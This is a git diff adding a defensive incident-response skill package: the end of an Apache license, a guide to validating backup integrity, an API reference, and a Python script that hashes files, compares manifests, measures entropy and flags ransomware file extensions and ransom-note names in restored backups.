or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/validating-backup-integrity-for-recovery/SKILL.md b/skills/cybersecurity/validating-backup-integrity-for-recovery/SKILL.md new file mode 100644 index 00000000..b27a9807 --- /dev/null +++ b/skills/cybersecurity/validating-backup-integrity-for-recovery/SKILL.md @@ -0,0 +1,187 @@ +--- +name: validating-backup-integrity-for-recovery +description: Validate backup integrity through cryptographic hash verification, automated + restore testing, corruption detection, and recoverability checks to ensure backups + are reliable for disaster recovery and ransomware response scenarios. +domain: cybersecurity +subdomain: incident-response +tags: +- incident-response +- backup +- integrity +- hash-verification +- restore-testing +- disaster-recovery +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- RS.MA-01 +- RS.MA-02 +- RS.AN-03 +- RC.RP-01 +mitre_attack: +- T1486 +- T1490 +- T1070 +- T1078 +- T1489 +--- +# Validating Backup Integrity for Recovery + +## When to Use + +Use this skill when: +- Verifying backup integrity before relying on backups for ransomware recovery +- Building automated backup validation pipelines that run after each backup job +- Auditing backup infrastructure to confirm recoverability for compliance (SOC 2, ISO 27001, NIST CSF RC.RP-03) +- Detecting silent data corruption (bit rot) in backup storage before a disaster occurs +- Validating that immutable or air-gapped backups have not been tampered with + +**Do not use** for initial backup configuration or scheduling. This skill focuses on post-backup validation. + +## Prerequisites + +- Access to backup storage (local, NAS, S3, Azure Blob, GCS) +- Python 3.9+ with `hashlib` (standard library) +- Backup manifests or baseline hash files for comparison +- Isolated restore environment for restore testing +- Backup tool CLI access (restic, borgbackup, rclone, or vendor-specific) + +## Workflow + +### Step 1: Generate Baseline Hash Manifest + +Create a cryptographic fingerprint of every file at backup time: + +```bash +# Generate SHA-256 manifest for a directory +find /data/production -type f -exec sha256sum {} \; > /manifests/prod_baseline_$(date +%Y%m%d).sha256 + +# Verify manifest format +head -5 /manifests/prod_baseline_20260319.sha256 +# e3b0c44298fc1c149afbf4c8996fb924... /data/production/config.yaml +# a7ffc6f8bf1ed76651c14756a061d662... /data/production/database.sql +``` + +### Step 2: Verify Backup Archive Integrity + +Check that the backup archive itself is not corrupted: + +```bash +# Restic: verify backup repository integrity +restic -r s3:s3.amazonaws.com/backup-bucket check --read-data + +# Borg: verify backup archive +borg check --verify-data /backup/repo::archive-2026-03-19 + +# Tar with gzip: verify archive integrity +gzip -t backup_20260319.tar.gz && echo "Archive OK" || echo "Archive CORRUPTED" + +# AWS S3: verify object checksums +aws s3api head-object --bucket backup-bucket --key daily/2026-03-19.tar.gz \ + --checksum-mode ENABLED +``` + +### Step 3: Perform Restore Test to Isolated Environment + +```bash +# Restore to isolated test directory +restic -r s3:s3.amazonaws.com/backup-bucket restore latest --target /restore-test/ + +# Generate hash manifest of restored data +find /restore-test -type f -exec sha256sum {} \; > /manifests/restored_$(date +%Y%m%d).sha256 + +# Compare baseline and restored manifests +diff <(sort /manifests/prod_baseline_20260319.sha256) \ + <(sort /manifests/restored_20260319.sha256) +``` + +### Step 4: Validate Data Completeness + +```bash +# Count files in original vs restored +echo "Original: $(find /data/production -type f | wc -l) files" +echo "Restored: $(find /restore-test -type f | wc -l) files" + +# Check total size +echo "Original: $(du -sh /data/production | cut -f1)" +echo "Restored: $(du -sh /restore-test | cut -f1)" + +# Database consistency check after restore +pg_restore --list backup.dump | wc -l # Count objects in dump +psql -c "SELECT schemaname, tablename FROM pg_tables WHERE schemaname='public';" restored_db +``` + +### Step 5: Detect Ransomware Artifacts in Backups + +Before trusting a backup for recovery, scan for ransomware indicators: + +```bash +# Check for common ransomware file extensions +find /restore-test -type f \( \ + -name "*.encrypted" -o -name "*.locked" -o -name "*.crypt" \ + -o -name "*.ransom" -o -name "*.pay" -o -name "*.wncry" \ + -o -name "*.cerber" -o -name "*.locky" -o -name "*.zepto" \ +\) -print + +# Check for ransom notes +find /restore-test -type f \( \ + -name "README_TO_DECRYPT*" -o -name "HOW_TO_RECOVER*" \ + -o -name "DECRYPT_INSTRUCTIONS*" -o -name "HELP_DECRYPT*" \ +\) -print + +# Check file entropy (high entropy = possible encryption) +# Files with entropy > 7.9 out of 8.0 are likely encrypted +python agent.py --entropy-scan /restore-test +``` + +### Step 6: Automate and Schedule Validation + +```yaml +# cron-based validation schedule +# Run nightly after backup window +0 4 * * * /opt/backup-validator/agent.py --validate-latest --notify-on-failure +# Weekly full restore test +0 6 * * 0 /opt/backup-validator/agent.py --full-restore-test --config /etc/backup-validator/config.json +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Hash Manifest** | File containing cryptographic hashes (SHA-256) for every file in a dataset, used as integrity baseline | +| **Bit Rot** | Gradual data corruption on storage media that silently alters file contents | +| **Immutable Backup** | Backup that cannot be modified or deleted for a defined retention period | +| **Restore Test** | Process of recovering data from backup to an isolated environment to verify recoverability | +| **File Entropy** | Measure of randomness in file contents; encrypted files have entropy near 8.0 bits/byte | +| **3-2-1 Rule** | Keep 3 copies of data, on 2 different media types, with 1 offsite copy | +| **Backup Chain** | Sequence of full and incremental backups that must all be intact for recovery | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Restic | Encrypted, deduplicated backup with built-in integrity verification | +| BorgBackup | Deduplicating backup with archive verification | +| Rclone | Cloud storage sync with checksum verification | +| AWS S3 Object Lock | Immutable backup storage with WORM compliance | +| Azure Immutable Blob | Tamper-proof backup storage for compliance | +| sha256sum | Standard hash computation for file integrity | +| pg_restore | PostgreSQL backup validation and restore testing | + +## Common Pitfalls + +- **Never testing restores**: The most common failure mode. Backups that are never restored are untested assumptions. +- **Checking only archive integrity, not data integrity**: A valid tar.gz can contain corrupted file contents. Always hash individual files. +- **Trusting last backup without scanning for ransomware**: Backups may contain encrypted files if the infection predates the backup. +- **Ignoring incremental chain integrity**: A single corrupted incremental backup can break the entire restore chain. +- **No alerting on validation failures**: Backup validation must be monitored with alerts, not just logged silently. +- **Using MD5 for integrity**: MD5 is cryptographically broken. Use SHA-256 or SHA-3 for integrity verification. + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST CSF 2.0 RC.RP-03: Backup Integrity Verification +- CIS Controls v8: Control 11 - Data Recovery +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware diff --git a/skills/cybersecurity/validating-backup-integrity-for-recovery/references/api-reference.md b/skills/cybersecurity/validating-backup-integrity-for-recovery/references/api-reference.md new file mode 100644 index 00000000..07fe9a53 --- /dev/null +++ b/skills/cybersecurity/validating-backup-integrity-for-recovery/references/api-reference.md @@ -0,0 +1,160 @@ +# API Reference: Validating Backup Integrity for Recovery + +## CLI Usage + +```bash +# Generate SHA-256 hash manifest for a directory +python agent.py --generate-manifest /data/production -o manifest.json + +# Generate manifest with SHA-512 +python agent.py --generate-manifest /data/production --algorithm sha512 -o manifest.json + +# Compare baseline vs restored manifest +python agent.py --compare baseline_manifest.json restored_manifest.json + +# Run full backup validation suite +python agent.py --validate /restore-test --baseline baseline_manifest.json -o report.json + +# Scan for ransomware artifacts in restored data +python agent.py --ransomware-scan /restore-test + +# Scan for high-entropy (possibly encrypted) files +python agent.py --entropy-scan /restore-test --entropy-threshold 7.9 +``` + +## Hash Algorithms Supported + +| Algorithm | Digest Size | Use Case | +|-----------|-------------|----------| +| sha256 | 256 bits | Default; standard integrity verification | +| sha512 | 512 bits | Higher security; larger files | +| sha3_256 | 256 bits | NIST post-quantum recommendation | +| blake2b | 512 bits | Faster alternative; high performance | + +## Manifest Format + +```json +{ + "directory": "/data/production", + "algorithm": "sha256", + "generated_at": "2026-03-19T04:00:00+00:00", + "total_files": 1523, + "errors": 0, + "hashes": { + "config/app.yaml": "a3f2b8c9d1e4f5a6...", + "data/users.db": "1b2c3d4e5f6a7b8c...", + "logs/access.log": "ERROR:Permission denied" + } +} +``` + +## Comparison Result Format + +```json +{ + "baseline_files": 1523, + "restored_files": 1520, + "missing_files": ["logs/audit.log", "tmp/cache.db", "data/session.bin"], + "missing_count": 3, + "modified_files": [ + { + "file": "config/app.yaml", + "baseline": "a3f2b8c9...", + "restored": "7e8f9a0b..." + } + ], + "modified_count": 1, + "added_files": [], + "added_count": 0, + "integrity_pass": false +} +``` + +## Entropy Scan Output + +```json +{ + "directory": "/restore-test", + "threshold": 7.9, + "files_scanned": 1200, + "suspicious_count": 3, + "suspicious_files": [ + { + "file": "data/report.docx.encrypted", + "entropy": 7.98, + "size_bytes": 524288 + } + ] +} +``` + +## Entropy Reference Values + +| Entropy Range | Interpretation | +|--------------|----------------| +| 0.0 - 1.0 | Highly repetitive data (empty files, padding) | +| 1.0 - 5.0 | Structured text (config files, logs, source code) | +| 5.0 - 7.0 | Binary data (executables, images, databases) | +| 7.0 - 7.8 | Compressed data (zip, gzip, jpg) | +| 7.8 - 8.0 | Encrypted or fully random data (ransomware indicator) | + +## Ransomware Scan Output + +```json +{ + "ransomware_extensions": [ + "documents/report.docx.locked", + "data/backup.sql.encrypted" + ], + "ransom_notes": [ + "HOW_TO_RECOVER_YOUR_FILES.txt" + ], + "total_scanned": 1523, + "clean": false +} +``` + +## Known Ransomware Extensions Detected + +`.encrypted`, `.locked`, `.crypt`, `.ransom`, `.pay`, `.wncry`, `.wcry`, +`.cerber`, `.locky`, `.zepto`, `.osiris`, `.aesir`, `.thor`, `.odin`, +`.crypz`, `.crypted`, `.enc`, `.crypto`, `.lockbit` + +## Full Validation Report Schema + +```json +{ + "timestamp": "2026-03-19T04:30:00+00:00", + "directory": "/restore-test", + "checks": { + "file_stats": { + "total_files": 1523, + "total_size_bytes": 1073741824, + "total_size_mb": 1024.0, + "pass": true + }, + "integrity": { + "integrity_pass": true, + "missing_count": 0, + "modified_count": 0 + }, + "ransomware_scan": { + "clean": true, + "total_scanned": 1523 + }, + "entropy_scan": { + "files_scanned": 1200, + "suspicious_count": 0 + } + }, + "overall_pass": true +} +``` + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST CSF 2.0 RC.RP-03: Backup Integrity Verification +- CIS Controls v8: Control 11 - Data Recovery +- Restic Documentation: https://restic.readthedocs.io/en/stable/045_working_with_repos.html +- BorgBackup Verification: https://borgbackup.readthedocs.io/en/stable/usage/check.html diff --git a/skills/cybersecurity/validating-backup-integrity-for-recovery/scripts/agent.py b/skills/cybersecurity/validating-backup-integrity-for-recovery/scripts/agent.py new file mode 100755 index 00000000..ace49f90 --- /dev/null +++ b/skills/cybersecurity/validating-backup-integrity-for-recovery/scripts/agent.py @@ -0,0 +1,323 @@ +#!/usr/bin/env python3 +"""Agent for validating backup integrity for disaster recovery. + +Computes cryptographic hashes, compares manifests, detects corruption, +scans for ransomware artifacts, measures file entropy, and validates +backup recoverability. +""" + +import argparse +import hashlib +import json +import math +import os +from collections import Counter +from datetime import datetime, timezone +from pathlib import Path + + +RANSOMWARE_EXTENSIONS = { + ".encrypted", ".locked", ".crypt", ".ransom", ".pay", + ".wncry", ".wcry", ".cerber", ".locky", ".zepto", + ".osiris", ".aesir", ".thor", ".odin", ".crypz", + ".crypted", ".enc", ".crypto", ".lockbit", +} + +RANSOM_NOTE_PATTERNS = [ + "README_TO_DECRYPT", "HOW_TO_RECOVER", "DECRYPT_INSTRUCTIONS", + "HELP_DECRYPT", "RECOVERY_INSTRUCTIONS", "RESTORE_FILES", + "READ_ME_TO_DECRYPT", "YOUR_FILES_ARE_ENCRYPTED", + "!README!", "DECRYPT_YOUR_FILES", +] + + +def compute_file_hash(filepath, algorithm="sha256"): + """Compute cryptographic hash of a single file.""" + h = hashlib.new(algorithm) + try: + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + return h.hexdigest() + except (PermissionError, OSError) as e: + return f"ERROR:{e}" + + +def generate_manifest(directory, algorithm="sha256"): + """Generate hash manifest for all files in a directory.""" + manifest = {} + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + total = 0 + errors = 0 + for fpath in sorted(dir_path.rglob("*")): + if fpath.is_file(): + total += 1 + digest = compute_file_hash(str(fpath), algorithm) + rel = str(fpath.relative_to(dir_path)) + manifest[rel] = digest + if digest.startswith("ERROR:"): + errors += 1 + + return { + "directory": str(directory), + "algorithm": algorithm, + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_files": total, + "errors": errors, + "hashes": manifest, + } + + +def compare_manifests(baseline_path, restored_path): + """Compare two manifest files to detect integrity issues.""" + with open(baseline_path, "r") as f: + baseline = json.load(f) + with open(restored_path, "r") as f: + restored = json.load(f) + + base_hashes = baseline.get("hashes", baseline) + rest_hashes = restored.get("hashes", restored) + + missing = [] + modified = [] + added = [] + + for fname, base_hash in base_hashes.items(): + if fname not in rest_hashes: + missing.append(fname) + elif rest_hashes[fname] != base_hash: + modified.append({"file": fname, "baseline": base_hash, + "restored": rest_hashes[fname]}) + + for fname in rest_hashes: + if fname not in base_hashes: + added.append(fname) + + integrity_pass = len(missing) == 0 and len(modified) == 0 + return { + "baseline_files": len(base_hashes), + "restored_files": len(rest_hashes), + "missing_files": missing, + "missing_count": len(missing), + "modified_files": modified, + "modified_count": len(modified), + "added_files": added, + "added_count": len(added), + "integrity_pass": integrity_pass, + } + + +def calculate_entropy(filepath): + """Calculate Shannon entropy of a file (0-8 bits per byte).""" + try: + with open(filepath, "rb") as f: + data = f.read() + except (PermissionError, OSError): + return None + + if not data: + return 0.0 + + byte_counts = Counter(data) + length = len(data) + entropy = 0.0 + for count in byte_counts.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return round(entropy, 4) + + +def entropy_scan(directory, threshold=7.9): + """Scan directory for files with suspiciously high entropy (possible encryption).""" + suspicious = [] + scanned = 0 + dir_path = Path(directory) + + for fpath in dir_path.rglob("*"): + if not fpath.is_file(): + continue + if fpath.stat().st_size < 1024: + continue + scanned += 1 + ent = calculate_entropy(str(fpath)) + if ent is not None and ent >= threshold: + suspicious.append({ + "file": str(fpath.relative_to(dir_path)), + "entropy": ent, + "size_bytes": fpath.stat().st_size, + }) + + return { + "directory": str(directory), + "threshold": threshold, + "files_scanned": scanned, + "suspicious_count": len(suspicious), + "suspicious_files": suspicious[:100], + } + + +def scan_ransomware_artifacts(directory): + """Scan restored backup for ransomware indicators.""" + findings = { + "ransomware_extensions": [], + "ransom_notes": [], + "total_scanned": 0, + } + dir_path = Path(directory) + + for fpath in dir_path.rglob("*"): + if not fpath.is_file(): + continue + findings["total_scanned"] += 1 + + if fpath.suffix.lower() in RANSOMWARE_EXTENSIONS: + findings["ransomware_extensions"].append( + str(fpath.relative_to(dir_path)) + ) + + for pattern in RANSOM_NOTE_PATTERNS: + if pattern.lower() in fpath.name.lower(): + findings["ransom_notes"].append( + str(fpath.relative_to(dir_path)) + ) + break + + findings["clean"] = ( + len(findings["ransomware_extensions"]) == 0 + and len(findings["ransom_notes"]) == 0 + ) + return findings + + +def validate_backup(directory, baseline_manifest=None, check_ransomware=True, + check_entropy=True, entropy_threshold=7.9): + """Run full backup validation suite.""" + results = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "directory": str(directory), + "checks": {}, + } + + # File count and size + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + total_files = sum(1 for _ in dir_path.rglob("*") if _.is_file()) + total_size = sum(f.stat().st_size for f in dir_path.rglob("*") if f.is_file()) + results["checks"]["file_stats"] = { + "total_files": total_files, + "total_size_bytes": total_size, + "total_size_mb": round(total_size / (1024 * 1024), 2), + "pass": total_files > 0, + } + + # Manifest comparison + if baseline_manifest and os.path.isfile(baseline_manifest): + current = generate_manifest(directory) + current_path = str(dir_path / ".current_manifest.json") + with open(current_path, "w") as f: + json.dump(current, f) + comparison = compare_manifests(baseline_manifest, current_path) + results["checks"]["integrity"] = comparison + os.remove(current_path) + else: + results["checks"]["integrity"] = {"skipped": True, + "reason": "No baseline manifest provided"} + + # Ransomware artifact scan + if check_ransomware: + results["checks"]["ransomware_scan"] = scan_ransomware_artifacts(directory) + + # Entropy scan + if check_entropy: + results["checks"]["entropy_scan"] = entropy_scan(directory, entropy_threshold) + + # Overall verdict + checks = results["checks"] + results["overall_pass"] = ( + checks.get("file_stats", {}).get("pass", False) + and checks.get("integrity", {}).get("integrity_pass", True) + and checks.get("ransomware_scan", {}).get("clean", True) + and checks.get("entropy_scan", {}).get("suspicious_count", 0) == 0 + ) + + return results + + +def main(): + parser = argparse.ArgumentParser( + description="Backup Integrity Validation Agent" + ) + parser.add_argument("--generate-manifest", + help="Generate hash manifest for a directory") + parser.add_argument("--compare", nargs=2, metavar=("BASELINE", "RESTORED"), + help="Compare two manifest JSON files") + parser.add_argument("--validate", help="Run full validation on a backup directory") + parser.add_argument("--baseline", help="Baseline manifest for comparison") + parser.add_argument("--entropy-scan", help="Scan directory for high-entropy files") + parser.add_argument("--entropy-threshold", type=float, default=7.9, + help="Entropy threshold (default: 7.9)") + parser.add_argument("--ransomware-scan", + help="Scan directory for ransomware artifacts") + parser.add_argument("--algorithm", default="sha256", + choices=["sha256", "sha512", "sha3_256", "blake2b"], + help="Hash algorithm (default: sha256)") + parser.add_argument("--output", "-o", help="Output file path") + args = parser.parse_args() + + print("[*] Backup Integrity Validation Agent") + result = None + + if args.generate_manifest: + result = generate_manifest(args.generate_manifest, args.algorithm) + print(f"[*] Generated manifest: {result.get('total_files', 0)} files") + + elif args.compare: + result = compare_manifests(args.compare[0], args.compare[1]) + status = "PASS" if result["integrity_pass"] else "FAIL" + print(f"[*] Integrity check: {status}") + if result["missing_count"]: + print(f"[!] Missing files: {result['missing_count']}") + if result["modified_count"]: + print(f"[!] Modified files: {result['modified_count']}") + + elif args.validate: + result = validate_backup( + args.validate, + baseline_manifest=args.baseline, + entropy_threshold=args.entropy_threshold, + ) + status = "PASS" if result.get("overall_pass") else "FAIL" + print(f"[*] Overall validation: {status}") + + elif args.entropy_scan: + result = entropy_scan(args.entropy_scan, args.entropy_threshold) + print(f"[*] Scanned {result['files_scanned']} files, " + f"{result['suspicious_count']} suspicious") + + elif args.ransomware_scan: + result = scan_ransomware_artifacts(args.ransomware_scan) + status = "CLEAN" if result["clean"] else "INFECTED" + print(f"[*] Ransomware scan: {status}") + + else: + parser.print_help() + return + + if result: + output = json.dumps(result, indent=2) + if args.output: + with open(args.output, "w") as f: + f.write(output) + print(f"[*] Results saved to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main()